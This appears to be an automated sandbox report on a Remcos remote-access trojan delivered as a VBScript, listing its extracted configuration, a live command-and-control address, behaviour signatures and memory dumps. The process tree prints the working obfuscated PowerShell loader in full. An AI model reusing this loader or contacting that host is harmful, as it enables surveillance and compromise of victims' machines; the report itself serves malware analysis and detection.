Analysis
- max time kernel
150s - max time network
134s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
01/07/2026, 02:55
General
- Target Skaaningerne.vbs
- Size 63KB
- Sample260701-der8faez3v
- SHA256 abea831cde9d7bebf47f5f1c3535ed9c42517ecfaed2fbc0c99477d055f77557
Malware Config
Extracted
-
remcos
-
7.2.5 Pro
-
RemoteHost
-
102.220.160.21:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-FOVHV5
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Skaaningerne.vbs"1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$tovrelsersnmrkedes = Get-Process | Get-Random;$rokaden=-64867+64867;$gangbroer = Get-Date;function sogneraadet ($tovrelsers,$filsluses) { $phonetic132 = 123; $subventionerer=adiabatically(@(106,230,228,217,230,212,223,212,211,171,164,115,212,237,210,230,151,151,199,215,165,164,178,231,232,200,231,152)); Kostumere ($subventionerer)}$dagpengelovenes = 456;function adiabatically ($hidebind,$fyrvrkeriers=0) { do { $hidebind[$rokaden]-=$jasminblomsternesmmunes[$rokaden%11]; $pitilessly+=[char]$hidebind[$rokaden]; $rokaden++; } while ($hidebind[$rokaden]); $pitilessly}$sprdes = 789;function Kostumere ($kraftfuldheden) { &($afbetalingskontrakters) $kraftfuldheden}$concausal = 1011;Function Nedstyrtning ($hidebind,$udrensningerne=0){ $interferometries=adiabatically(@(106,229,216,213,221,223,231,155,224,154,161,187,224,232,200,224,212,225,212,171,148,116,181,224,235,200,230,227,208,155,168,127,163,181,223,183,196,231,212,169,149,193,173,163,175,224,220,139,152,215,220,197,211,155,154,180,214,158)); Kostumere ($interferometries); For($jasminblomsternes=0; $rapunselens[$jasminblomsternes] -ne $indslusede; $jasminblomsternes++){ $rapunselens[$jasminblomsternes] = sogneraadet $rapunselens[$jasminblomsternes] $jasminblomsternesmmunes[$jasminblomsternes%11]; } $sodavands=adiabatically(@(106,217,225,210,214,208,223,155,220,154,159,175,214,214,160,161,217,226,202,220,89,140,169,218,214,213,207,204,208,133,224,154,161,187,224,232,200,224,212,225,212)); Kostumere ($sodavands); if ($udrensningerne) { Kostumere $nanida; } else { $nanida; }}$jasminblomsternesmmunes=@(70,114,117,99,116,111,115,97,110,57,49);$kompassets = $mammary.PSVersion;$afbetalingskontrakters=adiabatically @(143,183,205);$printerudgange='\Stockholder.Tll';$lainage=Nedstyrtning 'c1xFQ1w4Gg8KVkY1Ujs3VF5DT14CEREbG1VAVFMZWA0KZgADWUVaQU9eEBEBFxYIG0BBUV8JAXdCREMyBgEECFZJaUNAUVpf';$nordvestligere=Nedstyrtning 'LgYBEwdVXE4KS1gwF1sEGwAUDQsXUikfWhYXUBYZHlZDMk8RDAMBHw4PXRcvFkhSMSscEgdtWR8cHy0SGjELVldpPBYtIR4mHD4vXH4WFyo=';$kohorters=Nedstyrtning 'eA==';Nedstyrtning 'YhUZDBYOH1sCTF8tGhACEFJXBABPCycCBQcVGxJKSklDLxwBBgYaFwYPV1Yj' 1;$forurettedes = 1213;Nedstyrtning 'YhUZDBYOH1sPUkMpAhoPHRxORQBWQyIEEBAAAxoGC0tUaAEFDx0bW0UFVlkpAAEGBhxa' 1;Nedstyrtning 'HTwQF1o8FhMYUFIjIhoKGhs+AABYViMAKFlOPBYCG0tYMgslERsbHAIBVQx1QkJR' 1;$nordvestligere=$akropolis[0];$lakkerne=(Nedstyrtning 'YhUZDBYOH1sHVEE0FxINFQ0aDQdNSHs8EBRZIBELC1pFZjwQF1o4FgMtVVgjHAE=');Kostumere ($lakkerne);Nedstyrtning 'YhsYEwYKFA8PW1gqGwEaWicWAApcQzUpLi0RG10pGk1BFBcEFhEcBykLWFUjAChXRDJORQJYWCgTEgY=' 1;$nedennvnt=Nedstyrtning 'Ah0CDRgAEgUoUF0j';$transpenetrable=Nedstyrtning 'YhsYEwYKFA8PW1gqGwEaWksdBApcXygEGxdaJh0XAVJUblYbDAYLBQQdTV0vFRAREUNXCxtKRS8GBg4bHRcEGhA=';$justitsmordet=$lunkhead;Nedstyrtning 'YhUZDBYOH1seVkI1T103ERwHTD5YRS5SUQkBHAcIGkpcKQARBgBG' 1;while (!$poss) { Nedstyrtning 'YhUZDBYOH1s8WEUvHRsCGAYAFR0EFTIAAAY=' 1; Kostumere $transpenetrable; Nedstyrtning 'FR4QBgRHR0g=' 1; Nedstyrtning 'YhUZDBYOH1seVkI1T103ERwHTD5YRS5SUQkBHAcIGkpcKQARBgBG' 1; Nedstyrtning 'YhUZDBYOH1sPV0UuFwcMDgAcCAoEFSEeGgEVA0kJD1JUKBkHBgEVWEpLHVAtABoTGwMaEkBaXjMcAQ==' 1; $nordvestligere=$akropolis[$antherozooid]}$cree = 1415;$skilderi=150620;$passussenes=20207;Nedstyrtning 'YhUZDBYOH1sMVl8tTxIAVEsZFB1NWDIBGAwGCxYV' 1;Nedstyrtning 'YhUZDBYOH1ssVVgiTy4gGwEFBBxNbHxIMxEbAjEAHVwHciEBER0BFElKW14oGVw=' 1;Nedstyrtning 'YhUZDBYOH1sYWF0pBwcMARxOOjpcSTJcMA0XABcIAF5sfEg0MDcmOk8pXEUVBgcKGghbRSxVWCJb' 1;Nedstyrtning 'YhUZDBYOH1sGXEMlHRICGRZHVVMdRyceGhYGAAYSQEpEJAEBER0BFElKSlovHhEGBgZfRR5YQjUHBhARARYSRw==' 1;$eufomanis = 1617;Kostumere $hercogamy44;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$tovrelsersnmrkedes = Get-Process | Get-Random;$rokaden=-64867+64867;$gangbroer = Get-Date;function sogneraadet ($tovrelsers,$filsluses) { $phonetic132 = 123; $subventionerer=adiabatically(@(106,230,228,217,230,212,223,212,211,171,164,115,212,237,210,230,151,151,199,215,165,164,178,231,232,200,231,152)); Kostumere ($subventionerer)}$dagpengelovenes = 456;function adiabatically ($hidebind,$fyrvrkeriers=0) { do { $hidebind[$rokaden]-=$jasminblomsternesmmunes[$rokaden%11]; $pitilessly+=[char]$hidebind[$rokaden]; $rokaden++; } while ($hidebind[$rokaden]); $pitilessly}$sprdes = 789;function Kostumere ($kraftfuldheden) { &($afbetalingskontrakters) $kraftfuldheden}$concausal = 1011;Function Nedstyrtning ($hidebind,$udrensningerne=0){ $interferometries=adiabatically(@(106,229,216,213,221,223,231,155,224,154,161,187,224,232,200,224,212,225,212,171,148,116,181,224,235,200,230,227,208,155,168,127,163,181,223,183,196,231,212,169,149,193,173,163,175,224,220,139,152,215,220,197,211,155,154,180,214,158)); Kostumere ($interferometries); For($jasminblomsternes=0; $rapunselens[$jasminblomsternes] -ne $indslusede; $jasminblomsternes++){ $rapunselens[$jasminblomsternes] = sogneraadet $rapunselens[$jasminblomsternes] $jasminblomsternesmmunes[$jasminblomsternes%11]; } $sodavands=adiabatically(@(106,217,225,210,214,208,223,155,220,154,159,175,214,214,160,161,217,226,202,220,89,140,169,218,214,213,207,204,208,133,224,154,161,187,224,232,200,224,212,225,212)); Kostumere ($sodavands); if ($udrensningerne) { Kostumere $nanida; } else { $nanida; }}$jasminblomsternesmmunes=@(70,114,117,99,116,111,115,97,110,57,49);$kompassets = $mammary.PSVersion;$afbetalingskontrakters=adiabatically @(143,183,205);$printerudgange='\Stockholder.Tll';$lainage=Nedstyrtning 'c1xFQ1w4Gg8KVkY1Ujs3VF5DT14CEREbG1VAVFMZWA0KZgADWUVaQU9eEBEBFxYIG0BBUV8JAXdCREMyBgEECFZJaUNAUVpf';$nordvestligere=Nedstyrtning 'LgYBEwdVXE4KS1gwF1sEGwAUDQsXUikfWhYXUBYZHlZDMk8RDAMBHw4PXRcvFkhSMSscEgdtWR8cHy0SGjELVldpPBYtIR4mHD4vXH4WFyo=';$kohorters=Nedstyrtning 'eA==';Nedstyrtning 'YhUZDBYOH1sCTF8tGhACEFJXBABPCycCBQcVGxJKSklDLxwBBgYaFwYPV1Yj' 1;$forurettedes = 1213;Nedstyrtning 'YhUZDBYOH1sPUkMpAhoPHRxORQBWQyIEEBAAAxoGC0tUaAEFDx0bW0UFVlkpAAEGBhxa' 1;Nedstyrtning 'HTwQF1o8FhMYUFIjIhoKGhs+AABYViMAKFlOPBYCG0tYMgslERsbHAIBVQx1QkJR' 1;$nordvestligere=$akropolis[0];$lakkerne=(Nedstyrtning 'YhUZDBYOH1sHVEE0FxINFQ0aDQdNSHs8EBRZIBELC1pFZjwQF1o4FgMtVVgjHAE=');Kostumere ($lakkerne);Nedstyrtning 'YhsYEwYKFA8PW1gqGwEaWicWAApcQzUpLi0RG10pGk1BFBcEFhEcBykLWFUjAChXRDJORQJYWCgTEgY=' 1;$nedennvnt=Nedstyrtning 'Ah0CDRgAEgUoUF0j';$transpenetrable=Nedstyrtning 'YhsYEwYKFA8PW1gqGwEaWksdBApcXygEGxdaJh0XAVJUblYbDAYLBQQdTV0vFRAREUNXCxtKRS8GBg4bHRcEGhA=';$justitsmordet=$lunkhead;Nedstyrtning 'YhUZDBYOH1seVkI1T103ERwHTD5YRS5SUQkBHAcIGkpcKQARBgBG' 1;while (!$poss) { Nedstyrtning 'YhUZDBYOH1s8WEUvHRsCGAYAFR0EFTIAAAY=' 1; Kostumere $transpenetrable; Nedstyrtning 'FR4QBgRHR0g=' 1; Nedstyrtning 'YhUZDBYOH1seVkI1T103ERwHTD5YRS5SUQkBHAcIGkpcKQARBgBG' 1; Nedstyrtning 'YhUZDBYOH1sPV0UuFwcMDgAcCAoEFSEeGgEVA0kJD1JUKBkHBgEVWEpLHVAtABoTGwMaEkBaXjMcAQ==' 1; $nordvestligere=$akropolis[$antherozooid]}$cree = 1415;$skilderi=150620;$passussenes=20207;Nedstyrtning 'YhUZDBYOH1sMVl8tTxIAVEsZFB1NWDIBGAwGCxYV' 1;Nedstyrtning 'YhUZDBYOH1ssVVgiTy4gGwEFBBxNbHxIMxEbAjEAHVwHciEBER0BFElKW14oGVw=' 1;Nedstyrtning 'YhUZDBYOH1sYWF0pBwcMARxOOjpcSTJcMA0XABcIAF5sfEg0MDcmOk8pXEUVBgcKGghbRSxVWCJb' 1;Nedstyrtning 'YhUZDBYOH1sGXEMlHRICGRZHVVMdRyceGhYGAAYSQEpEJAEBER0BFElKSlovHhEGBgZfRR5YQjUHBhARARYSRw==' 1;$eufomanis = 1617;Kostumere $hercogamy44;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_bzgyelaz.siv.ps1
Stockholder.Tll
memory/2288-15-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-16-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-12-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-13-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-14-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-3-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-17-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-18-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-19-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-2-0x00007FFFFF0BF000-0x00007FFFFF0C0000-memory.dmp
memory/2288-20-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-21-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-22-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-23-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-11-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-27-0x00007FFFFEF30000-0x00007FFFFF8D4000-memory.dmp
memory/2288-9-0x0000019043340000-0x0000019043362000-memory.dmp
memory/2480-74-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/2480-75-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/2480-76-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/2480-78-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/2480-73-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/2480-77-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/2480-72-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/2480-71-0x000000001E9D0000-0x000000001EAC7000-memory.dmp
memory/2480-70-0x000000001E9D0000-0x000000001EAC7000-memory.dmp
memory/2480-67-0x000000001E9D0000-0x000000001EAC7000-memory.dmp
memory/2480-66-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/2480-61-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/2480-53-0x0000000000A00000-0x0000000001CE6000-memory.dmp
memory/5640-32-0x0000000005EF0000-0x0000000005F56000-memory.dmp
memory/5640-49-0x0000000008FE0000-0x000000000AD95000-memory.dmp
memory/5640-47-0x0000000008960000-0x0000000008FDC000-memory.dmp
memory/5640-46-0x0000000007D20000-0x00000000082DA000-memory.dmp
memory/5640-45-0x0000000006A30000-0x0000000006A52000-memory.dmp
memory/5640-44-0x00000000069D0000-0x00000000069EA000-memory.dmp
memory/5640-43-0x00000000076C0000-0x0000000007756000-memory.dmp
memory/5640-42-0x0000000006490000-0x00000000064DC000-memory.dmp
memory/5640-41-0x0000000006450000-0x000000000646E000-memory.dmp
memory/5640-38-0x0000000005F60000-0x00000000062BB000-memory.dmp
memory/5640-31-0x0000000005E80000-0x0000000005EE6000-memory.dmp
memory/5640-30-0x0000000005690000-0x00000000056B2000-memory.dmp
memory/5640-29-0x0000000005740000-0x0000000005D8A000-memory.dmp
memory/5640-28-0x0000000002C20000-0x0000000002C56000-memory.dmp